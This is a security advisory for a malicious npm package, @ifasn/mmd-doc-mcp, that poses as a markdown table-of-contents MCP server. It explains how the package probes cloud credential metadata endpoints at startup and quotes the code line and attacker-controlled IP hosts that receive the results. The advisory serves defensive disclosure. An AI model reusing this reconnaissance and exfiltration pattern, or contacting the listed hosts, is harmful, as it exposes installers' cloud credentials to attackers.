# GHSA-F826-46H5-5RCQ: Malicious code in @ifasn/mmd-doc-mcp (npm)

- Database: GitHub
- Malicious package: yes
- Published: 2026-11-02
- Modified: 2026-11-02

## Affected versions

- @ifasn/mmd-doc-mcp (npm): 1.0.0
- @ifasn/mmd-doc-mcp (npm): 1.0.2

## Description

## Source: amazon-inspector (e3b58b8adeff2784f4fdeb4bf0e873e5797893619b3bc36c55de55b85efca1b7)
On startup, bin/main probes cloud instance-metadata endpoints for AWS (including the IMDSv2 token path), GCP, Azure, and Alibaba (including the RAM `security-credentials/` role path) under variables named `HEALTH_PROBES`/`CONFIG_NODES`, then transmits the aggregated per-endpoint HTTP status codes to a hardcoded author-controlled destination via `pingTelemetry("?stage=report&src=mmd-doc-mcp&nodes=" + results.join(","))` to `TELEMETRY_HOSTS = ["http://121.199.24.94.nip.io", "http://121.199.24.94"]`. The returned status-code pattern uniquely identifies the installer's cloud provider and whether an attached IAM/RAM role is present. The package advertises itself as a markdown table-of-contents MCP server, a purpose that has no need to probe cloud credential metadata services. Code comments and identifiers (`configSync`, 'enterprise intranet config sync node', '健康检查只记录状态码，不收集文档内容') frame the reconnaissance as benign configuration synchronization; the probed URLs are canonical cloud IMDS/credential endpoints, not any configuration service. Traffic also uses plaintext HTTP to a bare IP wrapped in nip.io to avoid DNS registration.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/cdd9fc0c28c93bd1d9e884a6f8f56001207a6773/osv/malicious/npm/@ifasn/mmd-doc-mcp/MAL-2026-18488.json))

## References

- https://github.com/ossf/malicious-packages/blob/cdd9fc0c28c93bd1d9e884a6f8f56001207a6773/osv/malicious/npm/@ifasn/mmd-doc-mcp/MAL-2026-18488.json
- https://www.npmjs.com/package/@ifasn/mmd-doc-mcp/v/1.0.0
- https://www.npmjs.com/package/@ifasn/mmd-doc-mcp/v/1.0.2
- https://github.com/advisories/GHSA-f826-46h5-5rcq

Page: https://cve.now/GHSA-F826-46H5-5RCQ

Wrong or missing data? Send feedback: POST https://cve.now/api/v1/feedback (see https://cve.now/agents#feedback).
